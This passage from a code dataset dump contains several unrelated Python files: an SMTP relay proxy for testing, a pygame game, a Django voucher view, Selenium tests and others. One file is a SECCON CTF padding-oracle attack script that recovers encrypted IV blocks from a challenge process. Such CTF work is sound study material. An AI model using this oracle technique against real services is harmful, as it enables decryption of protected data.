self.s.connect(TO_ADDR)\n response = self.s.recv(1024)\n # response = b'220 qa122.cn Anti-spam GT for Coremail System (demo-test1[20160627])\\r\\n'\n return response\n\n def client_send_recv(self, send_cmd):\n response = b''\n try:\n self.s.sendall(send_cmd)\n response = self.s.recv(1024)\n print(\"response from %r: %r\" % (TO_ADDR, response))\n except Exception as e:\n print(e)\n print(\"%r closed a connect!\" % (TO_ADDR,))\n response = e\n return response\n\n def client_send(self, send_cmd):\n try:\n self.s.sendall(send_cmd)\n except Exception as e:\n print(e)\n print(\"%r closed a connect!\" % (TO_ADDR,))\n\n def client_close(self):\n # self.s.shutdown(2)\n self.s.close()\n print(\"closed a connect %r\" % (TO_ADDR,))\n\n'''\nclass MyRequestHandler(StreamRequestHandler):\n\n def handle(self):\n self.rbufsize = 1024\n while True:\n try:\n int_data = self.rfile.read(1)\n if not int_data:\n break\n data = int_data.strip()\n print(\"receive from %r: %r\" % (self.client_address, data))\n # self.wfile.write(client(data))\n except Exception as e:\n print(e)\n break\n'''\n\n\nclass MyRequestHandler(StreamRequestHandler):\n\n def handle(self):\n connect_success = 1\n my_c = MyClient()\n print(\"%r, connecting...\" % (TO_ADDR, ))\n try:\n helo_word = my_c.client_start()\n # helo_word = b'220 qa122.cn Anti-spam GT for Coremail System (demo-test1[20160627])\\r\\n'\n # self.request.sendall(struct.pack('%ds' % len(helo_word), helo_word))\n self.request.sendall(helo_word)\n except Exception as e:\n print(e)\n print(\"%r refuse a connect!\" % (TO_ADDR,))\n connect_success = 0\n while connect_success:\n try:\n int_data = self.request.recv(1024)\n # int_data = self.rfile.readline()\n if not int_data:\n break\n print(\"receive from %r: %r\" % (self.client_address, int_data.strip()))\n self.request.sendall(my_c.client_send_recv(int_data))\n except Exception as e:\n print(e)\n print(\"closing connect %r!\" % (self.client_address, ))\n break\n my_c.client_close()\n\n\nclass MyRequestHandlerCut(StreamRequestHandler):\n def handle(self):\n connect_success = 1\n my_c = MyClient()\n print(\"%r, connecting...\" % (TO_ADDR, ))\n try:\n helo_word = my_c.client_start()\n self.request.sendall(helo_word)\n except Exception as e:\n print(e)\n print(\"%r refuse a connect!\" % (TO_ADDR,))\n connect_success = 0\n while connect_success:\n try:\n int_data = self.request.recv(1024)\n # int_data = self.rfile.readline()\n if not int_data:\n break\n print(\"receive from %r: %r\" % (self.client_address, int_data.strip()))\n try:\n cut_content = input('--------------if cut the content? y/n ').strip()\n except:\n cut_content = raw_input('--------------if cut the content? y/n ').strip()\n if cut_content == 'y':\n try:\n send_len = int(input('how much bytes before cut(total: %d): ' % len(int_data.strip())).strip())\n except:\n send_len = int(raw_input('how much bytes before cut(total: %d): ' % len(int_data.strip())).strip())\n # send_data = struct.unpack('%ds%ds' % (send_len, len(int_data)-send_len), int_data)\n send_data = int_data[0:send_len]\n print(\"send data : %r\" % send_data)\n my_c.client_send(send_data)\n time.sleep(5)\n print(\"closing connect %r\" % (self.client_address, ))\n break\n else:\n all_content = my_c.client_send_recv(int_data)\n time.sleep(SLOW_TIME)\n self.request.sendall(all_content)\n except Exception as e:\n print(e)\n print(\"closing connect %r!\" % (self.client_address, ))\n break\n my_c.client_close()\n\n\nclass ThreadTCPServer(ThreadingMixIn, TCPServer):\n pass\n\nif __name__ == '__main__':\n\n server = ThreadTCPServer(CREAT_ADDR, MyRequestHandlerCut)\n server.serve_forever()\n","repo_name":"kieoo/betweenServer","sub_path":"betweenServer.py","file_name":"betweenServer.py","file_ext":"py","file_size_in_byte":5314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"8422137969","text":"# Local modules\nfrom datetime import datetime as dt\nimport os\n\n# User-defined modules\nfrom content import mail\n\n# Third-party modules\nfrom flask_mail import Message\n\n\ndef send_email(_name, _subject, _email, _body):\n \n # SEND EMAIL\n _recipient = str(os.environ.get('MAIL_USERNAME'))\n msg = Message(_subject, sender=('IceBlog Contact', str(os.environ.get('MAIL_USERNAME'))), recipients=[_recipient])\n msg.body = f'''{_body}\n\n\nSender's Name: {_name}\nSender's Email: {_email}\nDate Sent: {dt.now().strftime('%B %d, %Y, %H:%M ') + 'GMT'}\n'''\n mail.send(msg)\n return 'OK'\n\n\ndef reply_message(_email, _sender):\n # REPLY EMAIL\n _subj = 'Message Received'\n msg = Message(_subj, sender=('IceBlog Contact', str(os.environ.get('MAIL_USERNAME'))), recipients=[_email])\n msg.body = f'''Hello {_sender},\nThe message sent by {_sender} to IceBlog has been received. IceBlog will contact you within 24 hours.\n\nThank you,\nIceBlog Team.\n\nDate Sent: {dt.now().strftime('%B %d, %Y, %H:%M ') + 'GMT'}\n'''\n mail.send(msg)\n return 'OK'\n","repo_name":"iSOLveIT/iceblog","sub_path":"content/contact.py","file_name":"contact.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"32217493453","text":"\"\"\"Implementation of 3.17 Datapoint Types String.\"\"\"\nfrom xknx.exceptions import ConversionError\n\nfrom .dpt import DPTBase\n\n\nclass DPTString(DPTBase):\n \"\"\"\n Abstraction for KNX 14 Octet ASCII String.\n\n DPT 16.000\n \"\"\"\n\n payload_length = 14\n unit = \"\"\n\n @classmethod\n def from_knx(cls, raw):\n \"\"\"Parse/deserialize from KNX/IP raw data.\"\"\"\n cls.test_bytesarray(raw, cls.payload_length)\n value = str()\n for byte in raw:\n if byte != 0x00:\n value += chr(byte)\n return value\n\n @classmethod\n def to_knx(cls, value):\n \"\"\"Serialize to KNX/IP raw data.\"\"\"\n try:\n knx_value = str(value)\n if not cls._test_boundaries(knx_value):\n raise ValueError\n raw = []\n for character in knx_value:\n raw.append(ord(character))\n raw.extend([0] * (cls.payload_length - len(raw)))\n return raw\n except ValueError:\n raise ConversionError(\"Cant serialize %s\" % cls.__name__, value=value)\n\n @classmethod\n def _test_boundaries(cls, value):\n \"\"\"Test if value is within defined range for this object.\"\"\"\n return len(value) <= cls.payload_length\n","repo_name":"recMartin/xknxReM","sub_path":"xknx/dpt/dpt_string.py","file_name":"dpt_string.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"3027480319","text":"import sys\nfrom time import sleep\n\nimport pygame\n\nfrom settings import Settings\nfrom game_stats import GameStats\nfrom scoreboard import Scoreboard\nfrom ship import Ship\nfrom bullet import Bullet\nfrom alien import Alien\nfrom button import Button\n\nclass AlienInvasion:\n \"\"\"Overall class to manage game assets and behavior.\"\"\"\n\n def __init__(self):\n \"\"\"Initialize the game, and create game resources.\"\"\"\n pygame.init()\n self.settings = Settings()\n\n self.screen = pygame.display.set_mode((0,0), pygame.FULLSCREEN)\n self.settings.screen_width = self.screen.get_rect().width\n self.settings.screen_height = self.screen.get_rect().height\n\n pygame.display.set_caption(\"Alien Invasion\")\n\n # Create an instance to store game statistics and create a scoreboard.\n self.stats = GameStats(self)\n self.sb = Scoreboard(self)\n\n self.ship = Ship(self)\n\n self.bullets = pygame.sprite.Group()\n self.aliens = pygame.sprite.Group()\n\n self._create_fleet()\n\n # Make the Play button.\n self.play_button = Button(self, \"Play\")\n\n def _create_fleet(self):\n \"\"\"Create the fleet of aliens\"\"\"\n\n # Make an alien and find the number of aliens in a row.\n # Spacing between each alien is equal to one alien width.\n alien = Alien(self)\n alien_width, alien_height = alien.rect.size\n available_space_x = self.settings.screen_width - (2 * alien_width)\n number_alines_x = available_space_x // (2 * alien_width)\n\n # Determine the number of rows of aliens that fit on the screen.\n ship_height = self.ship.rect.height\n available_space_y = (self.settings.screen_height - (3 * alien_height) -\n ship_height)\n number_rows = available_space_y // (2 * alien_height)\n\n # Create the full fullet of aliens\n for row_number in range(number_rows):\n for alien_number in range(number_alines_x):\n self._create_alien(alien_number, row_number)\n\n\n def _create_alien(self, alien_number, row_number):\n # Create an alien and palce it in the row.\n alien = Alien(self)\n alien_width, alien_height = alien.rect.size\n alien.x = alien_width + 2 * alien_width * alien_number\n alien.rect.x = alien.x\n alien.rect.y = alien.rect.height + 2 * alien.rect.height * row_number\n self.aliens.add(alien)\n\n def run_game(self):\n \"\"\"Start the main loop for the game.\"\"\"\n while True:\n # Watch for keyboard and mouse events\n self._check_events()\n\n if self.stats.game_active:\n self.ship.update()\n self._update_bullets()\n self._update_alines()\n\n self._update_screen()\n\n def _check_events(self):\n \"\"\"Respond to keypresses and mouse events.\"\"\"\n for event in pygame.event.get():\n # Quit the game by the default way of closing the window.\n if event.type == pygame.QUIT:\n self.sb.store_high_score()\n sys.exit()\n\n elif event.type == pygame.KEYDOWN:\n self._check_keydown_events(event)\n\n elif event.type == pygame.KEYUP:\n self._check_keyup_events(event)\n\n elif event.type == pygame.MOUSEBUTTONDOWN:\n # If mouse_pos inside play_button.rect then this button has\n # been clicked. Hence it is needed.\n mouse_pos = pygame.mouse.get_pos()\n self._check_play_button(mouse_pos)\n\n def _check_keydown_events(self, event):\n \"\"\"Response to key presses.\"\"\"\n if event.key == pygame.K_RIGHT:\n self.ship.moving_right = True\n elif event.key == pygame.K_LEFT:\n self.ship.moving_left = True\n elif event.key == pygame.K_q:\n # Quit the game by pressing 'Q'.\n self.sb.store_high_score()\n sys.exit()\n elif event.key == pygame.K_SPACE:\n self._fire_bullet()\n\n def _check_keyup_events(self, event):\n \"\"\"Response to key releases.\"\"\"\n if event.key == pygame.K_RIGHT:\n self.ship.moving_right = False\n elif event.key == pygame.K_LEFT:\n self.ship.moving_left = False\n\n def _check_play_button(self, mouse_pos):\n \"\"\"Start a new game when the player clicks Play.\"\"\"\n\n button_clicked = self.play_button.rect.collidepoint(mouse_pos)\n\n # Make sure reset game when game is inactive, not when clicking play\n # button accidently during the game.\n if button_clicked and not self.stats.game_active:\n # Reset a new game settings.\n self.settings.initialize_dynamic_settings()\n # Reset the game statistics.\n self.stats.reset_stats()\n self.stats.game_active = True\n self.sb.prep_score()\n self.sb.prep_level()\n self.sb.prep_ships()\n\n # Get rid of any remaining aliens and bullets.\n self.aliens.empty()\n self.bullets.empty()\n\n # Create a new fleet and center the ship.\n self._create_fleet()\n self.ship.center_ship()\n\n # Hide the mouse cursor during the game.\n pygame.mouse.set_visible(False)\n\n def _fire_bullet(self):\n \"\"\"Create a new bullet and add it to the bullets group.\"\"\"\n if len(self.bullets) < self.settings.bullets_allowed:\n new_bullet = Bullet(self)\n self.bullets.add(new_bullet)\n\n def _update_bullets(self):\n \"\"\"Update position of bullets and get rid of old bullets.\"\"\"\n\n # Update bullet position.\n self.bullets.update()\n\n # Get rid of the bullets go beyond the scope of the screen.\n # Using the copy of self.bullets because Python expect the length of \n # the list to be the same during a loop.\n for bullet in self.bullets.copy():\n if bullet.rect.bottom <= 0:\n self.bullets.remove(bullet)\n\n self._check_bullet_alien_collisions()\n\n def _check_bullet_alien_collisions(self):\n \"\"\"Respond to bullet-alien collisions.\"\"\"\n\n # Check for any bullets that have hit aliens.\n # If so, het rid of the bullet and the alien.\n # The groupcollide function return a key-value pair whenever there is a \n # collision. In this case, each key will be a bullet and the correspond\n # -ing value will be the alien that been hit.\n collisions = pygame.sprite.groupcollide(self.bullets, self.aliens, True,\n True)\n\n if collisions:\n for aliens in collisions.values():\n self.stats.score += self.settings.alien_points * len(aliens)\n self.sb.prep_score()\n self.sb.check_high_score()\n\n if not self.aliens:\n # Destory existing bullets and create new fullet.\n self.bullets.empty()\n self._create_fleet()\n self.settings.increase_speed()\n\n # Increase level.\n self.stats.level += 1\n self.sb.prep_level()\n\n def _check_fleet_edges(self):\n \"\"\"Respond appropriately if any aliens have reached an edge.\"\"\"\n for alien in self.aliens.sprites():\n if alien.check_edges():\n self._change_fleet_direction()\n break\n\n def _check_aliens_bottom(self):\n \"\"\"Check if any aliens have reached the bottom of the screen.\"\"\"\n screen_rect = self.screen.get_rect()\n for alien in self.aliens.sprites():\n if alien.rect.bottom >= screen_rect.bottom:\n # Treat this the same as if the ship got hit.\n self._ship_hit()\n break\n\n def _change_fleet_direction(self):\n \"\"\"Drop the entire fleet and change the fleet's direction.\"\"\"\n for alien in self.aliens.sprites():\n alien.rect.y += self.settings.fleet_drop_speed\n self.settings.fleet_direction *= -1\n\n def _ship_hit(self):\n \"\"\"Respond to the ship being hit by an aline.\"\"\"\n\n if self.stats.ships_left > 0:\n # Decrement ships_left and update scoreboard.\n self.stats.ships_left -= 1\n self.sb.prep_ships()\n\n # Get rid of any remaining aliens and bullets.\n self.aliens.empty()\n self.bullets.empty()\n\n # Create a new fleet and center the ship.\n self._create_fleet()\n self.ship.center_ship()\n\n # Pause.\n sleep(0.5)\n else:\n self.stats.game_active = False\n pygame.mouse.set_visible(True)\n\n def _update_alines(self):\n \"\"\"Check if the fleet is at an edge, then update the position of all \n aliens in the fleet.\"\"\"\n self._check_fleet_edges()\n self.aliens.update()\n\n # Look for alien-ship collisions.\n if pygame.sprite.spritecollideany(self.ship, self.aliens):\n self._ship_hit()\n\n # Look for aliens hitting the bottom of the screen.\n self._check_aliens_bottom()\n\n def _update_screen(self):\n \"\"\"Update images on the screen, and flip to the new screen.\"\"\"\n self.screen.fill(self.settings.bg_color)\n self.ship.blitme()\n\n for bullet in self.bullets:\n bullet.draw_bullet()\n\n self.aliens.draw(self.screen)\n\n # Draw the score information.\n self.sb.show_score()\n\n # Draw the play button if the game is inactive.\n if not self.stats.game_active:\n self.play_button.draw_button()\n\n # Make the most recently drawn screen visible.\n pygame.display.flip()\n\nif __name__ == '__main__':\n # Make a game instance, and run the game.\n ai = AlienInvasion()\n ai.run_game()","repo_name":"Yuqee/alien_invasion","sub_path":"alien_invasion.py","file_name":"alien_invasion.py","file_ext":"py","file_size_in_byte":9846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"22838862098","text":"from pwn import remote, process\nimport re\nimport logging\n\nlogger = logging.Logger(__name__)\n#r = remote('witches-symmetric-exam.seccon.games', 8080)\nr = process(\"./problem.py\")\n\n\ndef params():\n msg = r.recvline()\n return re.findall(b\"ciphertext: (.*)\", msg)[0].decode()\n\n\nct = params()\nlogger.warning(\"Found ct: \" + ct)\n\n\ndef send(data):\n if type(data) == type([]):\n to_send = bytes(data).hex()\n elif type(data) == type(b\"\"):\n to_send = data.hex()\n elif type(data) == type(\"\"):\n to_send = data\n r.sendline(to_send.encode())\n\n\ndef send_and_get_ans(data):\n r.recvuntil(b\"ciphertext:\")\n send(data)\n return r.recvline().decode()\n\n\ndef _recover_encrypted_block_iv(iv):\n logger.info(\"Starting padding oracle ofb attack\")\n if type(iv) == type(b\"\"):\n iv = list(iv)\n counter = 1\n chosen_pt = [0] * 16\n for _ in range(16):\n for b in range(256):\n # print(str(b).zfill(3), end='\\r')\n chosen_pt[16 - _ - 1] = b\n ans = send_and_get_ans(iv + chosen_pt)\n if _ == 15 and \"gcm\" in ans:\n break\n if \"gcm\" in ans:\n for i in range(counter + 1):\n chosen_pt[16 - 1 - i] ^= counter + 1\n chosen_pt[16 - 1 - i] ^= counter\n print(f\"Attacked {_+1}/{len(iv)} bytes\", end=\"\\r\")\n counter += 1\n break\n for i in range(len(chosen_pt)):\n chosen_pt[i] ^= 0x10\n return bytes(chosen_pt).hex()\n\n\ndef recover_needed_encrypted_ivs(num=10):\n logger.warning(\"Started recovering first encrypted iv\")\n ivs = [_recover_encrypted_block_iv(list(bytes.fromhex(ct[:32])))]\n print(ivs)\n for _ in range(num):\n logger.warning(\"Started recover iv\" + str(_ + 1))\n ivs.append(_recover_encrypted_block_iv(bytes.fromhex(ivs[-1])))\n logger.warning(f\"Recovered iv{str(_+1)} {ivs[-1]}\")\n logger.warning(\"Started encoding zeroes\")\n enc_zeros = _recover_encrypted_block_iv(list(bytes.fromhex(\"0\" * 32)))\n logger.warning(\"Found encrypted zeroes \" + enc_zeros)\n return ivs, enc_zeros\n","repo_name":"Sarkoxed/ctf-writeups","sub_path":"seccon2022/crypto/witches_symmetric_exam/decryption_handler.py","file_name":"decryption_handler.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"14900101882","text":"import time\nimport unittest\nimport sys\nimport os\nimport logging\nimport glob\nimport warnings\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\n\nfrom lxml import html\nimport urllib.request\nsys.path.append(os.path.join(os.path.dirname(__file__), \"..\"))\nfrom Test_w_44_TV_SoundBar_Automation_T2.Page.url_segment import url_segment, segment_validation\nfrom Utility_Files import ReadConfig\nfrom Utility_Files.HTMLTestRunner import stdout_redirector\nlogger=logging.getLogger(__name__)\nout_hdlr=logging.StreamHandler(stdout_redirector)\nout_hdlr.setFormatter(logging.Formatter('%(asctime)s%(levelname)s%(message)s'))\nout_hdlr.setLevel(logging.INFO)\nlogger.addHandler(out_hdlr)\nlogger.setLevel(logging.INFO)\n\n\nclass HTMLPage_W_45_HolidayDeals_Test(unittest.TestCase):\n driver = None\n unique_list = []\n\n def setUp(self):\n option = webdriver.ChromeOptions()\n option.add_experimental_option('excludeSwitches', ['enable-logging'])\n self.driver = webdriver.Chrome(executable_path=ReadConfig.readconfigData('paths', 'chromedriver1'), options=option)\n warnings.filterwarnings(action=\"ignore\", message=\"unclosed\", category=ResourceWarning)\n # with open('../TextFolder_Unique_URL/UniqueList_2.txt')as f:\n # urls = f.read().splitlines()\n # for url in urls:\n # if \"Non_Reservers\" and \"CC\" in url:\n # self.driver.get(url)\n\n def test_write_CC_Category_URL(self):\n path = 'C:/Users/a.ferdous.CORP/Desktop/creativev2/smartphone/*.htm'\n with open('../TextFolder_Unique_URL/UniqueList_2.txt',\"w\")as f:\n files = glob.glob(path)\n for x in files:\n if \"CC\" in x:\n self.unique_list.append(x)\n someline = x + '\\n'\n f.writelines(someline)\n print(someline)\n\n def test_write_DD_Category_URL(self):\n path = 'C:/Users/a.ferdous.CORP/Desktop/creativev2/smartphone/*.htm'\n with open('../TextFolder_Unique_URL/UniqueList_2.txt',\"w\")as f:\n files = glob.glob(path)\n for x in files:\n if \"DD\" in x:\n self.unique_list.append(x)\n someline = x + '\\n'\n f.writelines(someline)\n print(someline)\n\n def test_count_url_write(self):\n count=0\n with open('../TextFolder_Unique_URL/UniqueList_2.txt')as f:\n for x in f:\n count+=1\n print(\"Total Number of URL: \" , count)\n\n\n def test_get_url(self):\n subjectlineTxt = self.driver.find_element_by_xpath(\"(//p[@class='MsoNormal'])[4]/span\").text\n if \"HA_LAUNDRY\" in subjectlineTxt:\n # self.driver.find_element_by_xpath(\"//*[@alt='Home Appliances - Shop ALL']\").click()\n parent_window = self.driver.current_window_handle\n linkT = self.driver.find_element_by_xpath(\"//*[@alt='SMARTPHONES_Shop ALL']\")\n linkT.click()\n # time.sleep(2)\n all_windows = self.driver.window_handles\n child_window = [window for window in all_windows if window != parent_window][0]\n self.driver.switch_to.window(child_window)\n time.sleep(5)\n ShopNow_URL = self.driver.current_url\n print(\"HA_LAUNDRY current url: \" + ShopNow_URL)\n self.driver.switch_to.window(parent_window)\n time.sleep(5)\n\n if \"MB_GALAXY\" in subjectlineTxt:\n parent_window1 = self.driver.current_window_handle\n linkT = self.driver.find_element_by_xpath(\"//*[@alt='Home Appliances - Shop ALL']\")\n linkT.click()\n time.sleep(5)\n all_windows = self.driver.window_handles\n child_window = [window for window in all_windows if window != parent_window1][0]\n self.driver.switch_to.window(child_window)\n time.sleep(5)\n MB_GALAXY_URL = self.driver.current_url\n print(\"MB_GALAXY current url: \" + MB_GALAXY_URL)\n # self.driver.switch_to.window(parent_window1)\n time.sleep(5)\n\n else:\n print(\"Nothoing Print\")\n\n\n\n\n\n # def test_verifyEPPtext(self):\n # logger.info(': ' + self.test_verifyEPPtext.__name__ + \"\\n ##### Starting TEST ##### \")\n # EPP_Txt = self.driver.find_element_by_xpath(\"//*[contains(text(),'Save up to an additional 20% with your member')]\").text\n # self.assertEqual(ReadConfig.read_w45_HolidayDealsT1_configData('DATA', 'epp_text'), EPP_Txt, msg=\"Epp Text Not Matching\")\n # logger.info(\": Expected EPP Text: \" + EPP_Txt)\n # logger.info('\\n ##### TEST Complete #####')\n #\n # def test_verifyGiveWonderEarlyaccess(self):\n # logger.info(': ' + self.test_verifyGiveWonderEarlyaccess.__name__ + \"\\n ##### Starting TEST ##### \")\n # GWEA_Txt = self.driver.find_element_by_xpath(\"//*[contains(text(),'The gift that keeps on giving ')]\").text\n # self.assertEqual(ReadConfig.read_w45_HolidayDealsT1_configData('DATA', 'givewonder_text'), GWEA_Txt, msg=\"Give Wonder Text Not Matching\")\n # logger.info(\": Expected GIve wonder Text: \" + GWEA_Txt)\n # logger.info('\\n ##### TEST Complete #####')\n #\n # def test_a1_subjectLine_text_validation(self):\n # logger.info(': '+self.test_a1_subjectLine_text_validation.__name__ + \"\\n ##### Starting TEST ##### \")\n # subjectlineTxt = self.driver.find_element_by_xpath(\"(//p[@class='MsoNormal'])[4]/span\").text\n # self.assertIn(ReadConfig.read_w45_HolidayDealsT1_configData('DATA', 'subject_line'), subjectlineTxt, msg=\"Subject Line Text Not Matching\")\n # logger.info(\": Subject Line text assert with : \" + subjectlineTxt)\n # logger.info('\\n ##### TEST Complete #####')\n #\n # def test_a2_pre_header_text_validation(self):\n # logger.info(': '+self.test_a2_pre_header_text_validation.__name__ + \"\\n ##### Starting TEST ##### \")\n # pheaderTxt = self.driver.find_element_by_xpath(\"(//a[@target='_blank'])[1]\").text\n # self.assertEqual(ReadConfig.read_w45_HolidayDealsT1_configData('DATA', 'pre_headertext'), pheaderTxt, msg=\"Pre Header Text Not Matching\")\n # logger.info(\": Pre-Header text assert with : \" + pheaderTxt)\n # logger.info('\\n ##### TEST Complete #####')\n\n def tearDown(self):\n self.driver.close()\n\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"ahmed-test001/python","sub_path":"com.CheckProofing/2020/Test_w_45_HolidayDeals_T1_Actives/test_w_45_HolidayDeals_HtmlPage.py","file_name":"test_w_45_HolidayDeals_HtmlPage.py","file_ext":"py","file_size_in_byte":6594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"35679197878","text":"class Solution:\n def longestCommonPrefix(self, strs: List[str]) -> str:\n result = \"\"\n shortest , longest = min(strs),max(strs)\n for i in range(len(shortest)):\n if shortest[i]==longest[i]:\n result +=shortest[i]\n else:\n break\n return result","repo_name":"ankushbisht01/Leet-Questions","sub_path":"14-longest-common-prefix/14-longest-common-prefix.py","file_name":"14-longest-common-prefix.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"26586064534","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef parseLine(line, dots_list, facets_list):\n arr = line.split()\n if len(arr) > 0:\n if arr[0] == 'v':\n dots_list.append(list(np.float_(arr[1:])))\n elif arr[0] == 'f':\n facets_list.append(list(map(lambda i: i - 1, list(np.int_(arr[1:])))))\n\ndef readFile(filename, dots_list, facets_list):\n with open(filename, \"r\") as f:\n for line in f.readlines():\n parseLine(line, dots_list, facets_list)\n\n\ndef printPixel(x, y, img, color):\n for i in range(3):\n img[-y, x, i] = color[i] #x и y перепутаны, а y сверху вниз\n\n\ndef printLine(x1, y1, x2, y2, img, color):\n dx = x2 - x1\n dy = y2 - y1\n sign_x = 1 if dx > 0 else -1 if dx < 0 else 0\n sign_y = 1 if dy > 0 else -1 if dy < 0 else 0\n\n if dx < 0:\n dx = -dx\n if dy < 0:\n dy = -dy\n if dx > dy:\n pdx, pdy = sign_x, 0\n es, el = dy, dx\n else:\n pdx, pdy = 0, sign_y\n es, el = dx, dy\n x, y = x1, y1\n error, t = el / 2, 0\n printPixel(x, y, img, color)\n while t < el:\n error -= es\n if error < 0:\n error += el\n x += sign_x\n y += sign_y\n else:\n x += pdx\n y += pdy\n t += 1\n printPixel(x, y, img, color)\n\n\ndef printAllGrani(dots, facets, img, color):\n for i in range(np.shape(facets)[0]):\n printLine(dots[facets[i, 0]][0], dots[facets[i, 0]][1],\n dots[facets[i, 1]][0], dots[facets[i, 1]][1],\n img, color)\n printLine(dots[facets[i, 2]][0], dots[facets[i, 2]][1],\n dots[facets[i, 1]][0], dots[facets[i, 1]][1],\n img, color)\n printLine(dots[facets[i, 2]][0], dots[facets[i, 2]][1],\n dots[facets[i, 0]][0], dots[facets[i, 0]][1],\n img, color)\n\n\ndef draw_circle(img, x, y, r, color):\n disp_x = x\n disp_y = y\n x = 0\n y = r\n delta = (1 - 2 * r)\n error = 0\n while y >= 0:\n printPixel(disp_x + x, disp_y + y, img, color)\n printPixel(disp_x + x, disp_y - y, img, color)\n printPixel(disp_x - x, disp_y + y, img, color)\n printPixel(disp_x - x, disp_y - y, img, color)\n\n error = 2 * (delta + y) - 1\n if ((delta < 0) and (error <= 0)):\n x += 1\n delta = delta + (2 * x + 1)\n continue\n error = 2 * (delta - x) - 1\n if ((delta > 0) and (error > 0)):\n y -= 1\n delta = delta + (1 - 2 * y)\n continue\n x += 1\n delta = delta + (2 * (x - y))\n y -= 1\n\ndef printBackground(img, dots, x, y):\n max_x = 0\n max_y = 0\n for i in range(np.shape(dots)[0]):\n if max_x < dots[i][0]:\n max_x = dots[i][0]\n if max_y < dots[i][1]:\n max_y = dots[i][1]\n radius = int(min(max_x, max_y) / 2)\n color = np.array([0, 0, 0], dtype=np.uint8)\n colorShift = 255 / radius\n for i in range(radius):\n # color[0] = i * colorShift\n color[1] = 255 - i * colorShift\n # color[2] = i * colorShift\n draw_circle(img, x, y, i, color)\n\n\ndef mkWindow(dots, facets, height, width):\n img = np.zeros((width, height, 3), dtype=np.uint8)\n color = np.array([255, 255, 255], dtype=np.uint8)\n printBackground(img, dots, int(width/2), int(height/2))\n printAllGrani(dots, facets, img, color)\n plt.figure()\n plt.imshow(img)\n plt.show()\n\n\ndef toScaleDots(dots, windowHeight, windowWidth):\n result = min(windowHeight, windowWidth) / 3\n maximumValue = abs(np.amax(dots))\n scale = result / maximumValue\n dots = np.array(np.int_(dots*scale))\n for i in range(np.shape(dots)[0]):\n dots[i][0] += (windowHeight / 2)\n dots[i][1] += (windowWidth / 2)\n return dots\n\n\ndots_list = []\nfacets_list = []\nwidth = 640#plt.get_current_fig_manager().window.winfo_screenheight()\nheight = 640#plt.get_current_fig_manager().window.winfo_screenwidth()\n\n\nif __name__ == '__main__':\n readFile(\"../src/teapot.obj\", dots_list, facets_list)\n dots = np.array(dots_list)\n facets = np.array(facets_list)\n dots = toScaleDots(dots, height, width)\n #print(dots, \"\\n\", facets)\n mkWindow(dots, facets, height, width)\n\n\n","repo_name":"lmorgana/lab1","sub_path":"secondTask/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36905049702","text":"import os\nfrom django.shortcuts import redirect, render\nfrom django.contrib import messages\nfrom django.http import JsonResponse\n\nfrom web.models import *\nfrom web.adminfile.context import *\nfrom django.contrib.auth.decorators import login_required\nfrom web.decorators import *\n\n\nclass VoucherAdmin:\n @login_required(login_url='signin')\n @checkadmin\n def voucher(request):\n if 'submit_add_voucher' in request.POST:\n try:\n voucher_code = request.POST['voucher_code']\n voucher_value_type = request.POST['voucher_value_type']\n voucher_value = float(request.POST['voucher_value'])\n voucher_quantity = request.POST['voucher_quantity']\n voucher_active = request.POST['voucher_active']\n # voucher_time_active = request.POST['voucher_time_active']\n # voucher_date_start = request.POST['voucher_date_start']\n # voucher_date_end = request.POST['voucher_date_end']\n if voucher_value_type == \"1\":\n voucher_value /= 100.00\n # if voucher_time_active == '0':\n # voucher_date_start = None\n # voucher_date_end = None\n # if voucher_time_active == '1':\n # if not voucher_date_start:\n # voucher_date_start = None\n # if not voucher_date_end:\n # voucher_date_end = None\n if not voucher_quantity:\n voucher_quantity = None\n try:\n if Voucher.objects.get(voucher_code=voucher_code):\n messages.error(request, \"Mã giảm giá đã tồn tại!\")\n except:\n voucher_add = Voucher(voucher_code=voucher_code, voucher_value=voucher_value,voucher_quantity=voucher_quantity, voucher_active=voucher_active)\n voucher_add.save()\n messages.success(request, \"Thêm mã giảm giá thành công!\")\n except:\n messages.error(request, \"Thêm mã giảm giá không thành công!\")\n if 'submit_update_voucher' in request.POST:\n try:\n voucher_id = request.POST['voucher_id']\n voucher_code = request.POST['voucher_code']\n voucher_value_type = request.POST['voucher_value_type']\n voucher_value = float(request.POST['voucher_value'])\n voucher_quantity = request.POST['voucher_quantity']\n voucher_active = request.POST['voucher_active']\n # voucher_time_active = request.POST['voucher_time_active_update']\n # voucher_date_start = request.POST['voucher_date_start']\n # voucher_date_end = request.POST['voucher_date_end']\n voucher_update = Voucher.objects.get(pk=voucher_id)\n voucher_update.code = voucher_code\n if voucher_value_type == \"1\":\n voucher_value /= 100.00\n voucher_update.voucher_value = voucher_value\n # if voucher_time_active == '0':\n # voucher_date_start = None\n # voucher_date_end = None\n # if voucher_time_active == '1':\n # if not voucher_date_start:\n # voucher_date_start = None\n # if not voucher_date_end:\n # voucher_date_end = None\n # voucher_update.voucher_date_start = voucher_date_start\n # voucher_update.voucher_date_end = voucher_date_end\n if not voucher_quantity:\n voucher_quantity = None\n voucher_update.voucher_quantity = voucher_quantity\n voucher_update.voucher_active = voucher_active\n voucher_update.save()\n messages.success(request, \"Cập nhật mã giảm giá thành công!\")\n except:\n messages.error(request, \"Cập nhật mã giảm giá không thành công!\")\n return render(request, 